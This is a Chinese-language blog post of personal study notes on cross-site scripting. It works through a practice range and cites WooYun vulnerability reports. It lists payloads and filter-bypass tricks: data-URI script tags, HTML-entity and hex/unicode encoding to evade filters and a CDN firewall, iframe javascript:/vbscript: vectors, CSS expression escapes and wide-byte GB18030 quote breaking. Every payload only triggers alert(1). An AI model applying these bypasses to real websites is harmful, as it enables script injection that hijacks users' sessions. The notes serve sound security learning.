xss学习的一小步

学习地址:
http://xss.pkav.net/xss/


【一】绕过浏览器过滤的语句,
<script src=data:,alert(1)></script>
http://wooyun.org/bugs/wooyun-2010-016672


【2】利用html编码绕过百度云加速:
http://www.changwei.me/2015/index.php?q="/><img src=1 onerror=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2349%3B%26%2341%3B><!--


【3】检测xss 用\
http://wooyun.org/bugs/wooyun-2010-016197
这里我比较习惯用\,因为这玩意比较好使。当然你也可以用其它比较特殊的符号,比如双引号,单引号,只是被过滤掉的几率比较大。


【4】JS字符串中,字符还可以表示为unicode的形式。即:单引号还可以表示为\u0027或\x27
http://wooyun.org/bugs/wooyun-2010-016437


【5】1.1 最好懂的,onload执行js
<iframe onload="alert(1)"></iframe>
1.2 src 执行javascript代码
<iframe src="javascript:alert(1)"></iframe>
1.3 IE下vbscript执行代码
<iframe src="vbscript:msgbox(1)"></iframe>
1.4 Chrome下data协议执行代码
<iframe src="data:text/html,<script>alert(1)</script>"></iframe> Chrome
http://wooyun.org/bugs/wooyun-2010-016223


【6】css里面的expression
这里没有过滤 \ ,反斜线, 而 css里,允许使用转义字符, \ + ascii16进制形式。这样一来,我们就可以构造利用语句啦。
http://www.wooyun.org/bugs/wooyun-2010-015963


【7】输出在js代码中的字符可以用html characters来代替(&#ascii码;)
JS部分我们可以做以下构造,由于'被过滤,我们可以将'写为 '
http://www.wooyun.org/bugs/wooyun-2010-015963


【8】宽字节xss:首先要注意网页的编码:这个网页的编码:gb18030
这个漏洞的成因,和传统的宽字节漏洞并不一样。目测应该是由于过滤双引号的正则表达式写得有问题造成的。并不是因为%22变成了 %5c%22,而 %c0吃掉了后面的%5c。 而后面这种情况,在腾讯的相关站点暂时没有发现实际案例。
我的弹窗:
payload:http://xss.pkav.net/xss/ext/4.php?sid=ktqO7DjMQcJuAABQ&t=%df%22;alert(1);////
教程的:
payload:http://xss.pkav.net/xss/ext/4.php?sid=ktqO7DjMQcJuAABQ&t=%c0%22;alert(1);//aaaaaa
http://www.wooyun.org/bugs/wooyun-2010-015969



【9】如果输出在注释里面,则用%0a来做换行符,然后接js代码
http://www.wooyun.org/bugs/wooyun-2010-016003


【10】找xss首先要看页面的字符集:<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
如果字符集里面带有gbxxx就可以用宽字符来扰乱过滤器,从而闭合双引号单引号
输出在注释里面的话就用%0a换个行
结尾要注意用注释来注释后面的代码
http://www.wooyun.org/bugs/wooyun-2012-016008


【11】在看dom xss的时候看到“<>”用jsunicode编码(就是:如把尖括号编码[ < ] ----->jsunicode:\u003c)
而不能用html实体编码(就是:如把尖括号编码[ < ] -----> html十进制: < html十六进制:<)
后来在http://www.freebuf.com/articles/web/55505.html 看到:
HTML编码的存在就是让他在代码中和显示中分开, 避免错误。他的命名实体:构造是&加上希腊字母,字符编码:构造是&#加十进制、十六进制ASCII码或unicode字符编码,而且浏览器解析的时候会先把html编码解析再进行渲染。但是有个前提就是必须要在“值”里,比如属性src里,但却不能对src进行html编码。不然浏览器无法正常的渲染。
所以这个靶场的xss不能写成:
http://xss.pkav.net/xss/ext/8.1.php?data=<script>alert(1)</script>
而是:http://xss.pkav.net/xss/ext/8.1.php?data=\u003cimg src=1 onerror=alert(1)\u003e"
http://www.wooyun.org/bugs/wooyun-2010-016041

【12】和【11】环境相同当jsunicode编码的\u003c被过滤时,则可以用javascript的八进制跟十六进制
http://xss.pkav.net/xss/ext/8.2.php?libid=1&keyvalue=\x3c\x69\x6d\x67\x20\x73\x72\x63\x3d\x22\x31\x22\x20\x6f\x6e\x65\x72\x72\x6f\x72\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x20\x2f\x3e&attr=133&stype=2&tname=star_second.shtml
http://www.wooyun.org/bugs/wooyun-2010-016041

你可能感兴趣的:(xss学习的一小步)